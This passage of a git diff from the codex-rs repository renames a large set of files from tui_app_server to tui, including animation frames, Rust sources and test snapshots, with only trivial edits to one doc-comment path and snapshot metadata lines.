a/codex-rs/tui_app_server/frames/vbars/frame_11.txt b/codex-rs/tui/frames/vbars/frame_11.txt similarity index 100% rename from codex-rs/tui_app_server/frames/vbars/frame_11.txt rename to codex-rs/tui/frames/vbars/frame_11.txt diff --git a/codex-rs/tui_app_server/frames/vbars/frame_12.txt b/codex-rs/tui/frames/vbars/frame_12.txt similarity index 100% rename from codex-rs/tui_app_server/frames/vbars/frame_12.txt rename to codex-rs/tui/frames/vbars/frame_12.txt diff --git a/codex-rs/tui_app_server/frames/vbars/frame_13.txt b/codex-rs/tui/frames/vbars/frame_13.txt similarity index 100% rename from codex-rs/tui_app_server/frames/vbars/frame_13.txt rename to codex-rs/tui/frames/vbars/frame_13.txt diff --git a/codex-rs/tui_app_server/frames/vbars/frame_14.txt b/codex-rs/tui/frames/vbars/frame_14.txt similarity index 100% rename from codex-rs/tui_app_server/frames/vbars/frame_14.txt rename to codex-rs/tui/frames/vbars/frame_14.txt diff --git a/codex-rs/tui_app_server/frames/vbars/frame_15.txt b/codex-rs/tui/frames/vbars/frame_15.txt similarity index 100% rename from codex-rs/tui_app_server/frames/vbars/frame_15.txt rename to codex-rs/tui/frames/vbars/frame_15.txt diff --git a/codex-rs/tui_app_server/frames/vbars/frame_16.txt b/codex-rs/tui/frames/vbars/frame_16.txt similarity index 100% rename from codex-rs/tui_app_server/frames/vbars/frame_16.txt rename to codex-rs/tui/frames/vbars/frame_16.txt diff --git a/codex-rs/tui_app_server/frames/vbars/frame_17.txt b/codex-rs/tui/frames/vbars/frame_17.txt similarity index 100% rename from codex-rs/tui_app_server/frames/vbars/frame_17.txt rename to codex-rs/tui/frames/vbars/frame_17.txt diff --git a/codex-rs/tui_app_server/frames/vbars/frame_18.txt b/codex-rs/tui/frames/vbars/frame_18.txt similarity index 100% rename from codex-rs/tui_app_server/frames/vbars/frame_18.txt rename to codex-rs/tui/frames/vbars/frame_18.txt diff --git a/codex-rs/tui_app_server/frames/vbars/frame_19.txt b/codex-rs/tui/frames/vbars/frame_19.txt similarity index 100% rename from codex-rs/tui_app_server/frames/vbars/frame_19.txt rename to codex-rs/tui/frames/vbars/frame_19.txt diff --git a/codex-rs/tui_app_server/frames/vbars/frame_2.txt b/codex-rs/tui/frames/vbars/frame_2.txt similarity index 100% rename from codex-rs/tui_app_server/frames/vbars/frame_2.txt rename to codex-rs/tui/frames/vbars/frame_2.txt diff --git a/codex-rs/tui_app_server/frames/vbars/frame_20.txt b/codex-rs/tui/frames/vbars/frame_20.txt similarity index 100% rename from codex-rs/tui_app_server/frames/vbars/frame_20.txt rename to codex-rs/tui/frames/vbars/frame_20.txt diff --git a/codex-rs/tui_app_server/frames/vbars/frame_21.txt b/codex-rs/tui/frames/vbars/frame_21.txt similarity index 100% rename from codex-rs/tui_app_server/frames/vbars/frame_21.txt rename to codex-rs/tui/frames/vbars/frame_21.txt diff --git a/codex-rs/tui_app_server/frames/vbars/frame_22.txt b/codex-rs/tui/frames/vbars/frame_22.txt similarity index 100% rename from codex-rs/tui_app_server/frames/vbars/frame_22.txt rename to codex-rs/tui/frames/vbars/frame_22.txt diff --git a/codex-rs/tui_app_server/frames/vbars/frame_23.txt b/codex-rs/tui/frames/vbars/frame_23.txt similarity index 100% rename from codex-rs/tui_app_server/frames/vbars/frame_23.txt rename to codex-rs/tui/frames/vbars/frame_23.txt diff --git a/codex-rs/tui_app_server/frames/vbars/frame_24.txt b/codex-rs/tui/frames/vbars/frame_24.txt similarity index 100% rename from codex-rs/tui_app_server/frames/vbars/frame_24.txt rename to codex-rs/tui/frames/vbars/frame_24.txt diff --git a/codex-rs/tui_app_server/frames/vbars/frame_25.txt b/codex-rs/tui/frames/vbars/frame_25.txt similarity index 100% rename from codex-rs/tui_app_server/frames/vbars/frame_25.txt rename to codex-rs/tui/frames/vbars/frame_25.txt diff --git a/codex-rs/tui_app_server/frames/vbars/frame_26.txt b/codex-rs/tui/frames/vbars/frame_26.txt similarity index 100% rename from codex-rs/tui_app_server/frames/vbars/frame_26.txt rename to codex-rs/tui/frames/vbars/frame_26.txt diff --git a/codex-rs/tui_app_server/frames/vbars/frame_27.txt b/codex-rs/tui/frames/vbars/frame_27.txt similarity index 100% rename from codex-rs/tui_app_server/frames/vbars/frame_27.txt rename to codex-rs/tui/frames/vbars/frame_27.txt diff --git a/codex-rs/tui_app_server/frames/vbars/frame_28.txt b/codex-rs/tui/frames/vbars/frame_28.txt similarity index 100% rename from codex-rs/tui_app_server/frames/vbars/frame_28.txt rename to codex-rs/tui/frames/vbars/frame_28.txt diff --git a/codex-rs/tui_app_server/frames/vbars/frame_29.txt b/codex-rs/tui/frames/vbars/frame_29.txt similarity index 100% rename from codex-rs/tui_app_server/frames/vbars/frame_29.txt rename to codex-rs/tui/frames/vbars/frame_29.txt diff --git a/codex-rs/tui_app_server/frames/vbars/frame_3.txt b/codex-rs/tui/frames/vbars/frame_3.txt similarity index 100% rename from codex-rs/tui_app_server/frames/vbars/frame_3.txt rename to codex-rs/tui/frames/vbars/frame_3.txt diff --git a/codex-rs/tui_app_server/frames/vbars/frame_30.txt b/codex-rs/tui/frames/vbars/frame_30.txt similarity index 100% rename from codex-rs/tui_app_server/frames/vbars/frame_30.txt rename to codex-rs/tui/frames/vbars/frame_30.txt diff --git a/codex-rs/tui_app_server/frames/vbars/frame_31.txt b/codex-rs/tui/frames/vbars/frame_31.txt similarity index 100% rename from codex-rs/tui_app_server/frames/vbars/frame_31.txt rename to codex-rs/tui/frames/vbars/frame_31.txt diff --git a/codex-rs/tui_app_server/frames/vbars/frame_32.txt b/codex-rs/tui/frames/vbars/frame_32.txt similarity index 100% rename from codex-rs/tui_app_server/frames/vbars/frame_32.txt rename to codex-rs/tui/frames/vbars/frame_32.txt diff --git a/codex-rs/tui_app_server/frames/vbars/frame_33.txt b/codex-rs/tui/frames/vbars/frame_33.txt similarity index 100% rename from codex-rs/tui_app_server/frames/vbars/frame_33.txt rename to codex-rs/tui/frames/vbars/frame_33.txt diff --git a/codex-rs/tui_app_server/frames/vbars/frame_34.txt b/codex-rs/tui/frames/vbars/frame_34.txt similarity index 100% rename from codex-rs/tui_app_server/frames/vbars/frame_34.txt rename to codex-rs/tui/frames/vbars/frame_34.txt diff --git a/codex-rs/tui_app_server/frames/vbars/frame_35.txt b/codex-rs/tui/frames/vbars/frame_35.txt similarity index 100% rename from codex-rs/tui_app_server/frames/vbars/frame_35.txt rename to codex-rs/tui/frames/vbars/frame_35.txt diff --git a/codex-rs/tui_app_server/frames/vbars/frame_36.txt b/codex-rs/tui/frames/vbars/frame_36.txt similarity index 100% rename from codex-rs/tui_app_server/frames/vbars/frame_36.txt rename to codex-rs/tui/frames/vbars/frame_36.txt diff --git a/codex-rs/tui_app_server/frames/vbars/frame_4.txt b/codex-rs/tui/frames/vbars/frame_4.txt similarity index 100% rename from codex-rs/tui_app_server/frames/vbars/frame_4.txt rename to codex-rs/tui/frames/vbars/frame_4.txt diff --git a/codex-rs/tui_app_server/frames/vbars/frame_5.txt b/codex-rs/tui/frames/vbars/frame_5.txt similarity index 100% rename from codex-rs/tui_app_server/frames/vbars/frame_5.txt rename to codex-rs/tui/frames/vbars/frame_5.txt diff --git a/codex-rs/tui_app_server/frames/vbars/frame_6.txt b/codex-rs/tui/frames/vbars/frame_6.txt similarity index 100% rename from codex-rs/tui_app_server/frames/vbars/frame_6.txt rename to codex-rs/tui/frames/vbars/frame_6.txt diff --git a/codex-rs/tui_app_server/frames/vbars/frame_7.txt b/codex-rs/tui/frames/vbars/frame_7.txt similarity index 100% rename from codex-rs/tui_app_server/frames/vbars/frame_7.txt rename to codex-rs/tui/frames/vbars/frame_7.txt diff --git a/codex-rs/tui_app_server/frames/vbars/frame_8.txt b/codex-rs/tui/frames/vbars/frame_8.txt similarity index 100% rename from codex-rs/tui_app_server/frames/vbars/frame_8.txt rename to codex-rs/tui/frames/vbars/frame_8.txt diff --git a/codex-rs/tui_app_server/frames/vbars/frame_9.txt b/codex-rs/tui/frames/vbars/frame_9.txt similarity index 100% rename from codex-rs/tui_app_server/frames/vbars/frame_9.txt rename to codex-rs/tui/frames/vbars/frame_9.txt diff --git a/codex-rs/tui_app_server/prompt_for_init_command.md b/codex-rs/tui/prompt_for_init_command.md similarity index 100% rename from codex-rs/tui_app_server/prompt_for_init_command.md rename to codex-rs/tui/prompt_for_init_command.md diff --git a/codex-rs/tui_app_server/src/additional_dirs.rs b/codex-rs/tui/src/additional_dirs.rs similarity index 100% rename from codex-rs/tui_app_server/src/additional_dirs.rs rename to codex-rs/tui/src/additional_dirs.rs diff --git a/codex-rs/tui_app_server/src/app.rs b/codex-rs/tui/src/app.rs similarity index 100% rename from codex-rs/tui_app_server/src/app.rs rename to codex-rs/tui/src/app.rs diff --git a/codex-rs/tui_app_server/src/app/agent_navigation.rs b/codex-rs/tui/src/app/agent_navigation.rs similarity index 100% rename from codex-rs/tui_app_server/src/app/agent_navigation.rs rename to codex-rs/tui/src/app/agent_navigation.rs diff --git a/codex-rs/tui_app_server/src/app/app_server_adapter.rs b/codex-rs/tui/src/app/app_server_adapter.rs similarity index 100% rename from codex-rs/tui_app_server/src/app/app_server_adapter.rs rename to codex-rs/tui/src/app/app_server_adapter.rs diff --git a/codex-rs/tui_app_server/src/app/app_server_requests.rs b/codex-rs/tui/src/app/app_server_requests.rs similarity index 100% rename from codex-rs/tui_app_server/src/app/app_server_requests.rs rename to codex-rs/tui/src/app/app_server_requests.rs diff --git a/codex-rs/tui_app_server/src/app/loaded_threads.rs b/codex-rs/tui/src/app/loaded_threads.rs similarity index 100% rename from codex-rs/tui_app_server/src/app/loaded_threads.rs rename to codex-rs/tui/src/app/loaded_threads.rs diff --git a/codex-rs/tui_app_server/src/app/pending_interactive_replay.rs b/codex-rs/tui/src/app/pending_interactive_replay.rs similarity index 100% rename from codex-rs/tui_app_server/src/app/pending_interactive_replay.rs rename to codex-rs/tui/src/app/pending_interactive_replay.rs diff --git a/codex-rs/tui_app_server/src/app_backtrack.rs b/codex-rs/tui/src/app_backtrack.rs similarity index 100% rename from codex-rs/tui_app_server/src/app_backtrack.rs rename to codex-rs/tui/src/app_backtrack.rs diff --git a/codex-rs/tui_app_server/src/app_command.rs b/codex-rs/tui/src/app_command.rs similarity index 100% rename from codex-rs/tui_app_server/src/app_command.rs rename to codex-rs/tui/src/app_command.rs diff --git a/codex-rs/tui_app_server/src/app_event.rs b/codex-rs/tui/src/app_event.rs similarity index 100% rename from codex-rs/tui_app_server/src/app_event.rs rename to codex-rs/tui/src/app_event.rs diff --git a/codex-rs/tui_app_server/src/app_event_sender.rs b/codex-rs/tui/src/app_event_sender.rs similarity index 100% rename from codex-rs/tui_app_server/src/app_event_sender.rs rename to codex-rs/tui/src/app_event_sender.rs diff --git a/codex-rs/tui_app_server/src/app_server_session.rs b/codex-rs/tui/src/app_server_session.rs similarity index 100% rename from codex-rs/tui_app_server/src/app_server_session.rs rename to codex-rs/tui/src/app_server_session.rs diff --git a/codex-rs/tui_app_server/src/ascii_animation.rs b/codex-rs/tui/src/ascii_animation.rs similarity index 100% rename from codex-rs/tui_app_server/src/ascii_animation.rs rename to codex-rs/tui/src/ascii_animation.rs diff --git a/codex-rs/tui_app_server/src/audio_device.rs b/codex-rs/tui/src/audio_device.rs similarity index 100% rename from codex-rs/tui_app_server/src/audio_device.rs rename to codex-rs/tui/src/audio_device.rs diff --git a/codex-rs/tui_app_server/src/bin/md-events.rs b/codex-rs/tui/src/bin/md-events.rs similarity index 100% rename from codex-rs/tui_app_server/src/bin/md-events.rs rename to codex-rs/tui/src/bin/md-events.rs diff --git a/codex-rs/tui_app_server/src/bottom_pane/AGENTS.md b/codex-rs/tui/src/bottom_pane/AGENTS.md similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/AGENTS.md rename to codex-rs/tui/src/bottom_pane/AGENTS.md diff --git a/codex-rs/tui_app_server/src/bottom_pane/app_link_view.rs b/codex-rs/tui/src/bottom_pane/app_link_view.rs similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/app_link_view.rs rename to codex-rs/tui/src/bottom_pane/app_link_view.rs diff --git a/codex-rs/tui_app_server/src/bottom_pane/approval_overlay.rs b/codex-rs/tui/src/bottom_pane/approval_overlay.rs similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/approval_overlay.rs rename to codex-rs/tui/src/bottom_pane/approval_overlay.rs diff --git a/codex-rs/tui_app_server/src/bottom_pane/bottom_pane_view.rs b/codex-rs/tui/src/bottom_pane/bottom_pane_view.rs similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/bottom_pane_view.rs rename to codex-rs/tui/src/bottom_pane/bottom_pane_view.rs diff --git a/codex-rs/tui_app_server/src/bottom_pane/chat_composer.rs b/codex-rs/tui/src/bottom_pane/chat_composer.rs similarity index 99% rename from codex-rs/tui_app_server/src/bottom_pane/chat_composer.rs rename to codex-rs/tui/src/bottom_pane/chat_composer.rs index 3f77abc16c..a85dd131ba 100644 --- a/codex-rs/tui_app_server/src/bottom_pane/chat_composer.rs +++ b/codex-rs/tui/src/bottom_pane/chat_composer.rs @@ -93,7 +93,7 @@ //! machine and treats the key stream as normal typing. When toggling from enabled → disabled, the //! composer flushes/clears any in-flight burst state so it cannot leak into subsequent input. //! -//! For the detailed burst state machine, see `codex-rs/tui_app_server/src/bottom_pane/paste_burst.rs`. +//! For the detailed burst state machine, see `codex-rs/tui/src/bottom_pane/paste_burst.rs`. //! For a narrative overview of the combined state machine, see `docs/tui-chat-composer.md`. //! //! # PasteBurst Integration Points diff --git a/codex-rs/tui_app_server/src/bottom_pane/chat_composer_history.rs b/codex-rs/tui/src/bottom_pane/chat_composer_history.rs similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/chat_composer_history.rs rename to codex-rs/tui/src/bottom_pane/chat_composer_history.rs diff --git a/codex-rs/tui_app_server/src/bottom_pane/command_popup.rs b/codex-rs/tui/src/bottom_pane/command_popup.rs similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/command_popup.rs rename to codex-rs/tui/src/bottom_pane/command_popup.rs diff --git a/codex-rs/tui_app_server/src/bottom_pane/custom_prompt_view.rs b/codex-rs/tui/src/bottom_pane/custom_prompt_view.rs similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/custom_prompt_view.rs rename to codex-rs/tui/src/bottom_pane/custom_prompt_view.rs diff --git a/codex-rs/tui_app_server/src/bottom_pane/experimental_features_view.rs b/codex-rs/tui/src/bottom_pane/experimental_features_view.rs similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/experimental_features_view.rs rename to codex-rs/tui/src/bottom_pane/experimental_features_view.rs diff --git a/codex-rs/tui_app_server/src/bottom_pane/feedback_view.rs b/codex-rs/tui/src/bottom_pane/feedback_view.rs similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/feedback_view.rs rename to codex-rs/tui/src/bottom_pane/feedback_view.rs diff --git a/codex-rs/tui_app_server/src/bottom_pane/file_search_popup.rs b/codex-rs/tui/src/bottom_pane/file_search_popup.rs similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/file_search_popup.rs rename to codex-rs/tui/src/bottom_pane/file_search_popup.rs diff --git a/codex-rs/tui_app_server/src/bottom_pane/footer.rs b/codex-rs/tui/src/bottom_pane/footer.rs similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/footer.rs rename to codex-rs/tui/src/bottom_pane/footer.rs diff --git a/codex-rs/tui_app_server/src/bottom_pane/list_selection_view.rs b/codex-rs/tui/src/bottom_pane/list_selection_view.rs similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/list_selection_view.rs rename to codex-rs/tui/src/bottom_pane/list_selection_view.rs diff --git a/codex-rs/tui_app_server/src/bottom_pane/mcp_server_elicitation.rs b/codex-rs/tui/src/bottom_pane/mcp_server_elicitation.rs similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/mcp_server_elicitation.rs rename to codex-rs/tui/src/bottom_pane/mcp_server_elicitation.rs diff --git a/codex-rs/tui_app_server/src/bottom_pane/mod.rs b/codex-rs/tui/src/bottom_pane/mod.rs similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/mod.rs rename to codex-rs/tui/src/bottom_pane/mod.rs diff --git a/codex-rs/tui_app_server/src/bottom_pane/multi_select_picker.rs b/codex-rs/tui/src/bottom_pane/multi_select_picker.rs similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/multi_select_picker.rs rename to codex-rs/tui/src/bottom_pane/multi_select_picker.rs diff --git a/codex-rs/tui_app_server/src/bottom_pane/paste_burst.rs b/codex-rs/tui/src/bottom_pane/paste_burst.rs similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/paste_burst.rs rename to codex-rs/tui/src/bottom_pane/paste_burst.rs diff --git a/codex-rs/tui_app_server/src/bottom_pane/pending_input_preview.rs b/codex-rs/tui/src/bottom_pane/pending_input_preview.rs similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/pending_input_preview.rs rename to codex-rs/tui/src/bottom_pane/pending_input_preview.rs diff --git a/codex-rs/tui_app_server/src/bottom_pane/pending_thread_approvals.rs b/codex-rs/tui/src/bottom_pane/pending_thread_approvals.rs similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/pending_thread_approvals.rs rename to codex-rs/tui/src/bottom_pane/pending_thread_approvals.rs diff --git a/codex-rs/tui_app_server/src/bottom_pane/popup_consts.rs b/codex-rs/tui/src/bottom_pane/popup_consts.rs similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/popup_consts.rs rename to codex-rs/tui/src/bottom_pane/popup_consts.rs diff --git a/codex-rs/tui_app_server/src/bottom_pane/prompt_args.rs b/codex-rs/tui/src/bottom_pane/prompt_args.rs similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/prompt_args.rs rename to codex-rs/tui/src/bottom_pane/prompt_args.rs diff --git a/codex-rs/tui_app_server/src/bottom_pane/request_user_input/layout.rs b/codex-rs/tui/src/bottom_pane/request_user_input/layout.rs similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/request_user_input/layout.rs rename to codex-rs/tui/src/bottom_pane/request_user_input/layout.rs diff --git a/codex-rs/tui_app_server/src/bottom_pane/request_user_input/mod.rs b/codex-rs/tui/src/bottom_pane/request_user_input/mod.rs similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/request_user_input/mod.rs rename to codex-rs/tui/src/bottom_pane/request_user_input/mod.rs diff --git a/codex-rs/tui_app_server/src/bottom_pane/request_user_input/render.rs b/codex-rs/tui/src/bottom_pane/request_user_input/render.rs similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/request_user_input/render.rs rename to codex-rs/tui/src/bottom_pane/request_user_input/render.rs diff --git a/codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui__bottom_pane__request_user_input__tests__request_user_input_footer_wrap.snap b/codex-rs/tui/src/bottom_pane/request_user_input/snapshots/codex_tui__bottom_pane__request_user_input__tests__request_user_input_footer_wrap.snap similarity index 96% rename from codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui__bottom_pane__request_user_input__tests__request_user_input_footer_wrap.snap rename to codex-rs/tui/src/bottom_pane/request_user_input/snapshots/codex_tui__bottom_pane__request_user_input__tests__request_user_input_footer_wrap.snap index 872bfe1d0e..4fa267c654 100644 --- a/codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui__bottom_pane__request_user_input__tests__request_user_input_footer_wrap.snap +++ b/codex-rs/tui/src/bottom_pane/request_user_input/snapshots/codex_tui__bottom_pane__request_user_input__tests__request_user_input_footer_wrap.snap @@ -1,6 +1,5 @@ --- source: tui/src/bottom_pane/request_user_input/mod.rs -assertion_line: 2600 expression: "render_snapshot(&overlay, area)" --- diff --git a/codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui__bottom_pane__request_user_input__tests__request_user_input_freeform.snap b/codex-rs/tui/src/bottom_pane/request_user_input/snapshots/codex_tui__bottom_pane__request_user_input__tests__request_user_input_freeform.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui__bottom_pane__request_user_input__tests__request_user_input_freeform.snap rename to codex-rs/tui/src/bottom_pane/request_user_input/snapshots/codex_tui__bottom_pane__request_user_input__tests__request_user_input_freeform.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui__bottom_pane__request_user_input__tests__request_user_input_hidden_options_footer.snap b/codex-rs/tui/src/bottom_pane/request_user_input/snapshots/codex_tui__bottom_pane__request_user_input__tests__request_user_input_hidden_options_footer.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui__bottom_pane__request_user_input__tests__request_user_input_hidden_options_footer.snap rename to codex-rs/tui/src/bottom_pane/request_user_input/snapshots/codex_tui__bottom_pane__request_user_input__tests__request_user_input_hidden_options_footer.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui__bottom_pane__request_user_input__tests__request_user_input_long_option_text.snap b/codex-rs/tui/src/bottom_pane/request_user_input/snapshots/codex_tui__bottom_pane__request_user_input__tests__request_user_input_long_option_text.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui__bottom_pane__request_user_input__tests__request_user_input_long_option_text.snap rename to codex-rs/tui/src/bottom_pane/request_user_input/snapshots/codex_tui__bottom_pane__request_user_input__tests__request_user_input_long_option_text.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui__bottom_pane__request_user_input__tests__request_user_input_multi_question_first.snap b/codex-rs/tui/src/bottom_pane/request_user_input/snapshots/codex_tui__bottom_pane__request_user_input__tests__request_user_input_multi_question_first.snap similarity index 98% rename from codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui__bottom_pane__request_user_input__tests__request_user_input_multi_question_first.snap rename to codex-rs/tui/src/bottom_pane/request_user_input/snapshots/codex_tui__bottom_pane__request_user_input__tests__request_user_input_multi_question_first.snap index bb1c2a726a..d39ee646e9 100644 --- a/codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui__bottom_pane__request_user_input__tests__request_user_input_multi_question_first.snap +++ b/codex-rs/tui/src/bottom_pane/request_user_input/snapshots/codex_tui__bottom_pane__request_user_input__tests__request_user_input_multi_question_first.snap @@ -1,6 +1,5 @@ --- source: tui/src/bottom_pane/request_user_input/mod.rs -assertion_line: 2744 expression: "render_snapshot(&overlay, area)" --- diff --git a/codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui__bottom_pane__request_user_input__tests__request_user_input_multi_question_last.snap b/codex-rs/tui/src/bottom_pane/request_user_input/snapshots/codex_tui__bottom_pane__request_user_input__tests__request_user_input_multi_question_last.snap similarity index 98% rename from codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui__bottom_pane__request_user_input__tests__request_user_input_multi_question_last.snap rename to codex-rs/tui/src/bottom_pane/request_user_input/snapshots/codex_tui__bottom_pane__request_user_input__tests__request_user_input_multi_question_last.snap index dbe06d4041..ff3fb66ba6 100644 --- a/codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui__bottom_pane__request_user_input__tests__request_user_input_multi_question_last.snap +++ b/codex-rs/tui/src/bottom_pane/request_user_input/snapshots/codex_tui__bottom_pane__request_user_input__tests__request_user_input_multi_question_last.snap @@ -1,6 +1,5 @@ --- source: tui/src/bottom_pane/request_user_input/mod.rs -assertion_line: 2770 expression: "render_snapshot(&overlay, area)" --- diff --git a/codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui__bottom_pane__request_user_input__tests__request_user_input_options.snap b/codex-rs/tui/src/bottom_pane/request_user_input/snapshots/codex_tui__bottom_pane__request_user_input__tests__request_user_input_options.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui__bottom_pane__request_user_input__tests__request_user_input_options.snap rename to codex-rs/tui/src/bottom_pane/request_user_input/snapshots/codex_tui__bottom_pane__request_user_input__tests__request_user_input_options.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui__bottom_pane__request_user_input__tests__request_user_input_options_notes_visible.snap b/codex-rs/tui/src/bottom_pane/request_user_input/snapshots/codex_tui__bottom_pane__request_user_input__tests__request_user_input_options_notes_visible.snap similarity index 98% rename from codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui__bottom_pane__request_user_input__tests__request_user_input_options_notes_visible.snap rename to codex-rs/tui/src/bottom_pane/request_user_input/snapshots/codex_tui__bottom_pane__request_user_input__tests__request_user_input_options_notes_visible.snap index a4540a2b26..fef6903e66 100644 --- a/codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui__bottom_pane__request_user_input__tests__request_user_input_options_notes_visible.snap +++ b/codex-rs/tui/src/bottom_pane/request_user_input/snapshots/codex_tui__bottom_pane__request_user_input__tests__request_user_input_options_notes_visible.snap @@ -1,6 +1,5 @@ --- source: tui/src/bottom_pane/request_user_input/mod.rs -assertion_line: 2321 expression: "render_snapshot(&overlay, area)" --- diff --git a/codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui__bottom_pane__request_user_input__tests__request_user_input_scrolling_options.snap b/codex-rs/tui/src/bottom_pane/request_user_input/snapshots/codex_tui__bottom_pane__request_user_input__tests__request_user_input_scrolling_options.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui__bottom_pane__request_user_input__tests__request_user_input_scrolling_options.snap rename to codex-rs/tui/src/bottom_pane/request_user_input/snapshots/codex_tui__bottom_pane__request_user_input__tests__request_user_input_scrolling_options.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui__bottom_pane__request_user_input__tests__request_user_input_tight_height.snap b/codex-rs/tui/src/bottom_pane/request_user_input/snapshots/codex_tui__bottom_pane__request_user_input__tests__request_user_input_tight_height.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui__bottom_pane__request_user_input__tests__request_user_input_tight_height.snap rename to codex-rs/tui/src/bottom_pane/request_user_input/snapshots/codex_tui__bottom_pane__request_user_input__tests__request_user_input_tight_height.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui__bottom_pane__request_user_input__tests__request_user_input_unanswered_confirmation.snap b/codex-rs/tui/src/bottom_pane/request_user_input/snapshots/codex_tui__bottom_pane__request_user_input__tests__request_user_input_unanswered_confirmation.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui__bottom_pane__request_user_input__tests__request_user_input_unanswered_confirmation.snap rename to codex-rs/tui/src/bottom_pane/request_user_input/snapshots/codex_tui__bottom_pane__request_user_input__tests__request_user_input_unanswered_confirmation.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui__bottom_pane__request_user_input__tests__request_user_input_wrapped_options.snap b/codex-rs/tui/src/bottom_pane/request_user_input/snapshots/codex_tui__bottom_pane__request_user_input__tests__request_user_input_wrapped_options.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui__bottom_pane__request_user_input__tests__request_user_input_wrapped_options.snap rename to codex-rs/tui/src/bottom_pane/request_user_input/snapshots/codex_tui__bottom_pane__request_user_input__tests__request_user_input_wrapped_options.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/scroll_state.rs b/codex-rs/tui/src/bottom_pane/scroll_state.rs similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/scroll_state.rs rename to codex-rs/tui/src/bottom_pane/scroll_state.rs diff --git a/codex-rs/tui_app_server/src/bottom_pane/selection_popup_common.rs b/codex-rs/tui/src/bottom_pane/selection_popup_common.rs similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/selection_popup_common.rs rename to codex-rs/tui/src/bottom_pane/selection_popup_common.rs diff --git a/codex-rs/tui_app_server/src/bottom_pane/skill_popup.rs b/codex-rs/tui/src/bottom_pane/skill_popup.rs similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/skill_popup.rs rename to codex-rs/tui/src/bottom_pane/skill_popup.rs diff --git a/codex-rs/tui_app_server/src/bottom_pane/skills_toggle_view.rs b/codex-rs/tui/src/bottom_pane/skills_toggle_view.rs similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/skills_toggle_view.rs rename to codex-rs/tui/src/bottom_pane/skills_toggle_view.rs diff --git a/codex-rs/tui_app_server/src/bottom_pane/slash_commands.rs b/codex-rs/tui/src/bottom_pane/slash_commands.rs similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/slash_commands.rs rename to codex-rs/tui/src/bottom_pane/slash_commands.rs diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__app_link_view__tests__app_link_view_enable_suggestion_with_reason.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__app_link_view__tests__app_link_view_enable_suggestion_with_reason.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__app_link_view__tests__app_link_view_enable_suggestion_with_reason.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__app_link_view__tests__app_link_view_enable_suggestion_with_reason.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__app_link_view__tests__app_link_view_install_suggestion_with_reason.snap 